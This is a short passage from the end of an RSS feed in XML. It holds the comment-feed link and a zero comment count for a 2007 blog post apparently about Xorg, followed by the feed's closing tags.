			<wfw:commentRss>http://thesnarky.com/2007/01/10/xorg/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
